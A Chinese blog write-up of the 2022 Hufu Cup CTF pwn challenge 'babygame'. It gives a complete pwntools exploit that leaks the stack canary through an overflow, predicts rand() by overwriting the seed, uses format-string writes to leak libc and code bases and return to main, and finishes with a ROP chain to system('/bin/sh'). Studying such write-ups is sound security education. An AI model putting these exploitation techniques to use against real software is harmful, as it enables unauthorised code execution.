虎符杯2022初赛_babygame

本文详细介绍了如何解决一个CTF挑战,该挑战涉及到栈溢出、Canary保护、格式化字符串漏洞的利用。通过分析程序流程,利用Python的ctypes库模拟C函数,最终通过ROP链技巧获取shell。文章还展示了如何泄露Canary值,计算栈布局,以及如何构造payload来绕过保护机制并控制程序执行。
摘要由CSDN通过智能技术生成

菜鸡上去打了一下,果然爆零一轮游了。

学到了不少东西,比如这个babygame(也就这题我能做了)。

checksec一下发现防护全开,Canary,PIE都开了。扔进ida里,发现程序的流程还是很好分析的:先输入名字,然后猜拳,猜拳连胜100轮后就能跑到一个函数中(显然是要覆盖随机数种子),这个函数里有一个格式化字符串漏洞,可供利用。总的来说,它像一个缝合怪......

容易看到输入名字时有一个栈溢出漏洞,但是因为这题开了canary,所以需要通过溢出漏洞泄露canary以及下面连带的last_rbp,这样我们就得到了canary的值和栈上数据的地址。

r.recvuntil('Please input your name:')
pay1=256*'a'+8*'b'
r.sendline(pay1)
r.recvuntil(8*'b')
canary=u64(r.recv(8))-0xa
last_rbp=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
vuln_ret=last_rbp-(0xd80-0xb68)      #这是通过偏移计算出vuln函数返回地址在栈上的位置,后面再讲
atoi_20=vuln_ret-0x70                #这个用于后面泄露libc基址
print('canary:',hex(canary))
print('last_rbp:',hex(last_rbp))
print('vuln_ret:',hex(vuln_ret))

在这一次溢出的过程中,我们覆盖了作为随机数种子的v5,让它变成了一个已知的定值,我们就可以在本地设置种子并执行rand,预测程序的出招并反制,从而赢得游戏。

这里可以用python的ctypes库中的CDLL,让exp能跑c的函数。

关于ctypes,可以参考大佬的博客:使用 ctypes 进行 Python 和 C 的混合编程 - Anonymous596 - 博客园 ,这里不再赘述。

libc=CDLL('/home/wjc/Desktop/libc-2.31.so')

libc.srand(0x6262626262626262)
for i in range(100):
    r.recvuntil('round')
    r.sendline(str((libc.rand()+1)%3))

然后就成功进入了格式化字符串漏洞所在的函数。先发送: 'AAAAAAAA'+0x20*".%p.",容易确定我们输入的数据前八个字符对应第六个格式字符。然后观察此时栈中的数据。

 从上图知道我们可以一次泄露出libc基址和程序加载基址,可以构造rop链了,但是vuln结束之后main也随之结束,所以我们还需让程序再次执行main,但是main函数开头地址的最后一个半字节是0x465,而返回地址的是0x543,显然是无法一步回到main的,所以我们要退而求其次,再次调用call vuln,第二次调用时我们手握ELF的基址,就能控制程序回到main了。

vuln_ret和atoi_20在上面计算过了。

r.recvuntil('Good luck to you.')
r.sendline('%62c%9$hhn'+'X%10$s'+'EFG%11$s'+p64(vuln_ret)+p64(atoi_20)+p64(vuln_ret))
r.recvuntil('X')
atoi_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-20
libcbase=atoi_addr-0x445e0
r.recvuntil('EFG')
textbase=u64(r.recv(6).ljust(8,'\x00'))-0x153e
print('libcbase:',hex(libcbase))
print('textbase:',hex(textbase))

r.recvuntil('Good luck to you.')
main_addr=textbase+0x146A
low=main_addr&0xff
high=(main_addr>>8)&0xff
print('main_addr:',hex(main_addr))
print('low:',hex(low))
print('high:',hex(high))
if low>high:
    print('low!!!')
    pay2=('%'+str(high)+'c'+'%10$hhn'+'%'+str(low-high)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret+1)+p64(vuln_ret)
    r.sendline(pay2)
if high>low:
    print('high!!!')
    pay2=('%'+str(low)+'c'+'%10$hhn'+'%'+str(high-low)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret)+p64(vuln_ret+1)
    r.sendline(pay2)

这里需要注意两点。第一,在第一次vuln时,我为了防止输出泄露的数据对覆盖返回地址低位产生影响,选择先覆盖vuln的返回地址低位,所以计算程序加载基址时.应该减去的是call vuln的偏移0x153E。第二,第二次call vuln是紧接着第一次call vuln,两次vuln的buf,rbp和返回地址都是一样的,不需要再次计算。

然后成功返回了main,此时我们有了libc基址和程序加载基址,而栈溢出空间又比较充裕,我们几乎可以随心所欲构造rop链。但是到了最后还有一个小坑......

这里我们看一下main的栈帧

红框中是最初执行的main时的数据,最上面是canary,下一个是last_rbp,我们知道main是由libc_start_main函数调用的,会返回到libc_start_main中去,而libc_start_main居和last_rbp还有0x10个字节的空档! 所以我们在构造payload时,要注意多填充0x10个字节。

#0x000000000000101a : ret    
ret_addr=textbase+0x101a
#0x00000000000015d3 : pop rdi ; ret
pop_rdi_ret=textbase+0x15d3
system_addr=libcbase+0x522C0
puts_addr=libcbase+0x84450
str_bin_sh=libcbase+0x1B45BD
rop_chain=p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload=256*'A'+8*'b'+p64(canary)+0x18*'b'+rop_chain

r.recvuntil('Please input your name:')
r.sendline(payload)

libc.srand(0x6262626262626262)
r.recvuntil('round')
r.sendline(str((libc.rand()-1)%3)

这次猜拳游戏输掉就行了,输掉只是不执行vuln,程序还会进行的。

拿到shell:

很遗憾我没能在赛场上解出这道题,所以我只能打本地,不知道远程能不能打通,但我想问题应该不大。

EXP:

from pwn import *
from ctypes import cdll,CDLL

#context.log_level='debug'
r=process('/home/wjc/Desktop/babygame')
e=ELF('/home/wjc/Desktop/babygame')
libc=CDLL('/home/wjc/Desktop/libc-2.31.so')

r.recvuntil('Please input your name:')
pay1=256*'a'+8*'b'
r.sendline(pay1)
r.recvuntil(8*'b')
canary=u64(r.recv(8))-0xa
last_rbp=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
vuln_ret=last_rbp-(0xd80-0xb68)
atoi_20=vuln_ret-0x70
print('canary:',hex(canary))
print('last_rbp:',hex(last_rbp))
print('vuln_ret:',hex(vuln_ret))

libc.srand(0x6262626262626262)
for i in range(100):
    r.recvuntil('round')
    r.sendline(str((libc.rand()+1)%3))

r.recvuntil('Good luck to you.')
r.sendline('%62c%9$hhn'+'X%10$s'+'EFG%11$s'+p64(vuln_ret)+p64(atoi_20)+p64(vuln_ret))
r.recvuntil('X')
atoi_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-20
libcbase=atoi_addr-0x445e0
r.recvuntil('EFG')
textbase=u64(r.recv(6).ljust(8,'\x00'))-0x153e
print('libcbase:',hex(libcbase))
print('textbase:',hex(textbase))

r.recvuntil('Good luck to you.')
main_addr=textbase+0x146A
low=main_addr&0xff
high=(main_addr>>8)&0xff
print('main_addr:',hex(main_addr))
print('low:',hex(low))
print('high:',hex(high))
if low>high:
    print('low!!!')
    pay2=('%'+str(high)+'c'+'%10$hhn'+'%'+str(low-high)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret+1)+p64(vuln_ret)
    r.sendline(pay2)
if high>low:
    print('high!!!')
    pay2=('%'+str(low)+'c'+'%10$hhn'+'%'+str(high-low)+'c'+'%11$hhn').ljust(0x20,'G')+p64(vuln_ret)+p64(vuln_ret+1)
    r.sendline(pay2)

#0x000000000000101a : ret    
ret_addr=textbase+0x101a
#0x00000000000015d3 : pop rdi ; ret
pop_rdi_ret=textbase+0x15d3
system_addr=libcbase+0x522C0
puts_addr=libcbase+0x84450
str_bin_sh=libcbase+0x1B45BD
rop_chain=p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload=256*'A'+8*'b'+p64(canary)+0x18*'b'+rop_chain

r.recvuntil('Please input your name:')
r.sendline(payload)

libc.srand(0x6262626262626262)
r.recvuntil('round')
r.sendline(str((libc.rand()-1)%3))
sleep(0.5)
r.sendline('cd ..;cd ..;cd ..;cd ..')  
#因为远程关了,我只能打本地,这个是为了方便退到根目录下拿我本地的flag的省事做法。

r.interactive()

 

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值